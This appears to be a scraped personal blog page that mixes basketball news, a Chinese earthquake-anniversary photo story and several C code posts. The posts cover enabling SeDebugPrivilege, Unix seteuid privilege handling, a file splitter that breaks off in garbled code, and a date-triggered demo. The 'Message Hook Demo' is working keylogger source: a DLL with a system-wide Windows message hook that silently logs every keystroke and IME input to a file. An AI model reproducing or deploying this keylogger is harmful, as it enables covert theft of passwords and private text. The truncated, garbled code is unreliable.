Rocket Win!!!

I can't blelive!
yeah!!!

Because of foot injury,Yao Ming out of NBA playoffs

"In order for the bone to heal properly, Yao will need to immobilise the foot by wearing a walking boot," Dr. Tom Clanton, the Rockets' team physician, said in a statement on the team's website (www.nba.com/rockets).

"He should be able to resume his regular workout routine some time between the next eight to 12 weeks," Clanton added.

Yao was originally thought to have sprained his left ankle in an 108-94 loss to the Los Angeles Lakers in game three of their Western Conference semi-finals on Friday.

Yao's injury will come as a blow to the Rockets who trail 2-1 in their best-of-seven series. The teams travel to Houston on Sunday for game four.

Yao broke the same foot in February 2008 and missed the NBA playoffs last year. He returned to play for China in the Beijing Olympics.

Changing privilege levels

Changing privilege levels

like the following for example:

void EnableDebugPriv( void )

{

HANDLE hToken;

LUID sedebugnameValue;

TOKEN_PRIVILEGES tkp;


if ( ! OpenProcessToken( GetCurrentProcess(),

TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )

return;

if ( ! LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue ) ){

CloseHandle( hToken );

return;

}

tkp.PrivilegeCount = 1;

tkp.Privileges[0].Luid = sedebugnameValue;

tkp.Privileges[0].Attributes = 2;//SE_PRIVILEGE_ENABLED;

if ( ! AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof tkp, NULL, NULL ) )

CloseHandle( hToken );

}


When an application runs with an EUID different from its RUID, it's to provide the user with privileges he needs but doesn't have (file access, reserved system calls...). However these privileges are only needed for a very short time, for instance when opening a file, otherwise the application is able to run with its user's privileges. It's possible to temporarily change an application EUID with the system-call :

  int seteuid (uid_t uid);

A process can always change its EUID value giving it the one of its RUID. In that case, the old UID is kept in a saved field called SUID (Saved UID) different from SID (Session ID) used for control terminal management. It's always possible to get the SUID back to use it as EUID. Of course, a program having a null EUID (root) can change at will both its EUID and RUID (it's the way /bin/su works).
To reduce the risks of attacks, it's suggested to change the EUID and use the RUID of the users instead. When a portion of code needs privileges corresponding to those of the file's owner, it's possible to put the Saved UID into the EUID. Here is an example :

  uid_t e_uid_initial;
  uid_t r_uid;

  int
  main (int argc, char * argv [])
  {
    /* Saves the different UIDs */
    e_uid_initial = geteuid ();
    r_uid = getuid ();

    /* limits access rights to the ones of the
     * user launching the program */
    seteuid (r_uid);
    ...
    privileged_function ();
    ...
  }

  void
  privileged_function (void)
  {
    /* Gets initial privileges back */
    seteuid (e_uid_initial);
    ...
    /* Portion needing privileges */
    ...
    /* Back to the rights of the runner */
    seteuid (r_uid);
  }


This method is much more secure than the unfortunately all to common one consisting of using the initial EUID and then temporarily reducing the privileges just before doing a "risky" operation. However this privilege reduction is useless against buffer-overflow attacks. As we'll see in a next article, these attacks intend to ask the application to execute personal instructions and can contain the system-calls needed to make the privilege level higher. Nevertheless, this approach protects from external commands and from most race conditions.



A Message Hook Demo

#include "windows.h"
#include "imm.h"
#include "stdio.h"
#define HOOK_API __declspec(dllexport)
#pragma comment(lib, "IMM32.LIB")

HHOOK        g_hHook            = NULL;       
HINSTANCE    g_hHinstance    = NULL;       
BOOL bHooked = FALSE;
DWORD   m_dwLastMsgTime = GetTickCount();
void SaveInfo(char buffer[]);

LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{   
    LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);

    MSG* pmsg = (PMSG)lParam;
char strChar[2];
char KeyName[20];
//HWND hwa,hwf;

// 防止消息重复产生记录重复,以pMsg->time判断
if ((nCode != HC_ACTION) ||
   ((pmsg->message != WM_IME_COMPOSITION) && (pmsg->message != WM_CHAR)) ||
   (m_dwLastMsgTime == pmsg->time))
{
   return(lResult);
}
m_dwLastMsgTime = pmsg->time;

        switch (pmsg->message)
        {
  
   //
        case WM_IME_COMPOSITION:
            {
                HIMC hIMC;
                HWND hWnd=pmsg->hwnd;
                DWORD dwSize;
                char lpstr[20];
                if(pmsg->lParam & GCS_RESULTSTR)
                {
                    //
                    hIMC = ImmGetContext(hWnd);
                    if (!hIMC)
                    {
                        //MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK);
                    }
                  
                    dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);
                   
                    dwSize += sizeof(WCHAR);
      ZeroMemory(lpstr,sizeof(lpstr));

                   
                    ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);

      SaveInfo(lpstr);
                    ImmReleaseContext(hWnd, hIMC);
      //delete szSave;
                }
            }
            break;
   
        case WM_CHAR:
            {

     if (pmsg->wParam <= 127 && pmsg->wParam >= 20)
     {
      strChar[0] = pmsg->wParam;
      strChar[1] = '\0';
      SaveInfo(strChar);
     }
     else if (pmsg->wParam == VK_RETURN)
     {
      SaveInfo("\r\n");
     }
     else
     {
      memset(KeyName, 0, sizeof(KeyName));
      if (GetKeyNameText(pmsg->lParam, &(KeyName[1]), sizeof(KeyName) - 2) > 0)
      {
       KeyName[0] = '[';
       lstrcat(KeyName, "]");
       SaveInfo(KeyName);
      }
     }

            }
            break;
        }

    return(lResult);
}

HOOK_API BOOL InstallHook()
{
if(!bHooked)
{  
   g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
   bHooked = TRUE;  
}
    return TRUE;
   
}

HOOK_API BOOL UnHook()
{
if(bHooked)
{
   bHooked = FALSE;
   return UnhookWindowsHookEx(g_hHook);
  
}

}

BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
   g_hHinstance=(struct HINSTANCE__ *)hModule;
   //InstallHook();
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        UnHook();
        break;
    }
    return TRUE;
}
void SaveInfo(char buffer[])
{
FILE* fpLog;
fpLog=fopen("c:\\report.txt","a+");
fwrite(buffer,strlen(buffer),1,fpLog);
fclose(fpLog);

}


FILECUT a linux console c source

#include
#include
#include
#include

/*
void version(void);
//print banner
void version(void)
    {
    printf("\n");
    printf("\t++++++++++++++++++++++++++++++++++++++++++++++++++++++\n");
    printf("\t+ \tFILECUT [VERSION1.1] by Alone             +\n");
    printf("\t+ \t(C) Copyright 2008-2010                  +\n");
    printf("\t+\tEmail:c4rp3nt3r@gmail.com                 +\n");
    printf("\t++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n");
    }

*/

void hzcount(char * hz);


FILE *fp1,*fp2;

int main(int argc,char ** argv)
    {
   
    int i;
    long n,s_max_f,j=0;        //single max content of file that will be created
    int fcoutn=0;            //number of files that created
    char data[257]={'\0'};        //databuffer for read then write
   
    char hz[20]={"_0001."};
    char name[30]={'\0'};
    char filehz[20]={'\0'};
    char tran[30]={'\0'};        //get the file name without .hz
    char curdir[256]={'\0'};    //the buffer to store the current dir
    char tmpdir[256]={'\0'};    //tempdir
   
    char *p;            //tmp pointer

    /*version(); //print banner*/

    if(argc != 3)
        {
        printf("[-]Please    Input the file name!\n");
        printf("[*]Usage: argv[0] \n");
        exit(0);
        }
    s_max_f=atoi(argv[2]);
    //printf("s_max_f).........%d",s_max_f);
   


    strcpy(tran,argv[1]);/*去掉路径得到文件名*/
    p=strrchr(tran,'/');
    if(p!=NULL)
        {
        strcpy(tran,p+1);
        }
    //printf("p ...%s\ntran...%s",p,tran);

    for(i=0;tran[i]!='\0';i++)
        {
        if(tran[i]=='.')
            {
            strcpy(filehz,&tran[i+1]);
            tran[i]='\0';
            //printf("now the filehz is ...%s",filehz);
            break;
            }
        }
    /*后缀处理*/

    strcpy(name,tran);

    //mkdir 需为绝对路径 后面是0777
    getcwd(curdir,256);
    strcat(curdir,"/");
    strcat(curdir,tran);

    //printf("tran should be ...%s\n",tran);
    //printf("curdir should be ...%s\n",curdir);
    mkdir(curdir,0777);
   
    strcat(curdir,"/");
    strcpy(tmpdir,curdir);
    //printf("the name should be ddd...%s\n",name);


    strcat(hz,filehz);
    //printf("the hz should be _0001.txt%s\n",hz);
    strcat(name,hz);
    //printf("the name should be ddd0001.txt%s\n",name);
    strcat(tmpdir,name);
    //printf("the tmpdir should be ......%s\n",tmpdir);
   
    /*文件操作*/
    /*打开源文件*/

    if((fp1=fopen(argv[1],"rb"))==NULL)
        {
        printf("\n cannot open %s \n",argv[1]);
        exit(0);
        }

    /*打开目标文件*/
    if((fp2=fopen(tmpdir,"wb"))==NULL)
        {
        printf("\n cannot open %s \n",tmpdir);
        exit(0);
        }
   
    n=0;   
    while(!feof(fp1))
        {
       
        fread(data,256,1,fp1);n++;
        if(n*256>s_max_f*1024)
            {
            fclose(fp2);
            fcoutn++;

            hzcount(hz);
            strcpy(name,tran);
            strcat(name,hz);
            strcpy(tmpdir,curdir);
            strcat(tmpdir,name);
           
            if((fp2=fopen(tmpdir,"wb"))==NULL)
                {
                printf("\ncannot open %s.",name);
                exit(0);
                }
            n=0;
            }


        fwrite(data,256,1,fp2);
       
        for(j=0;j<257;j++)>

VC++ 6.0 simple demo to dosomthing on the day

with timer~~~

/*

by c4rp3nt3r@gmail.com

http://c4rp3nt3r.blogspot.com

*/

int main(int argc, char* argv[])
{
   char szFormatDt[6];
   char szBirthDay[6];
   szBirthDay[0]='0';
   szBirthDay[1]='3';
   szBirthDay[2]='-';
   szBirthDay[3]='0';
   szBirthDay[4]='4';
   szBirthDay[5]='\0';

        int length = GetDateFormat (LOCALE_USER_DEFAULT,
          0,                   // Flags
          NULL,
          "MM-dd",                // Format
          szFormatDt,
          sizeof(szFormatDt)) ;

       if(strcmp(szBirthDay,szFormatDt)==0)
    {
   HANDLE hFile;
   hFile = CreateFile
    (
    "forfun.txt", 
    GENERIC_WRITE, 
    FILE_SHARE_WRITE, 
    NULL, 
    CREATE_ALWAYS,
    FILE_ATTRIBUTE_NORMAL, 
    NULL
    );
   if (hFile == NULL)
    return FALSE;
   char szInfo[] ="Just For Fun !"
"By 
c4rp3nt3r@gmail.com\r\n";
   DWORD dwBytes;
   WriteFile(hFile, szInfo, sizeof(szInfo), &dwBytes, NULL);
   CloseHandle(hFile);
   WinExec("notepad.exe forfun.txt",1);
   Sleep(1000);
   DeleteFile("forfun.txt");
  
    }
return 0;
}

汶川地震一周年:绽放的笑脸

汶川地震一周年:绽放的笑脸


2009年05月10日19:42  来源:新华社


四川青川县马鹿小学的孩子们拿出印有他们照片的画册,请记者为他们留影。去年地震时,他们自发在公路旁打出自制感恩的标语牌,慰问援助队伍,感动了无数人(4月21日摄)。“5·12”汶川地震一周年之际,记者走访地震重灾区——四川省青川县、陕西省宁强县,所到之处,都是一派繁忙的建设场景,灾区人民的脸上洋溢的笑容,显现出人们对美好新家园的期盼和重建家园的坚强信心。新华社记者 陶明 摄

5月1日,地震重灾区四川省青川县姚渡镇7岁的王馨小朋友正在帮妈妈准备夜市上的餐饮材料。她家每晚做火锅生意,有了一定的收入。新华社记者 陶明 摄
四川青川县木鱼中学的不少孩子已逐渐走出地震的阴影,脸上充满着自信的笑(4月22日摄)。新华社记者 陶明 摄
四川青川县板桥乡周家沟村白培敏(右)夫妇正在自建新房,当地政府为他们的新房补助了1.6万元(4月22日摄)。新华社记者 陶明 摄
青川县木鱼镇的农民正在田里种薄膜西瓜,脸上洋溢着笑容(4月22日摄)。新华社记者 陶明 摄
5月1日,陕西省宁强县汉源镇的居民在广场上跳起羌族舞蹈。新华社记者 陶明 摄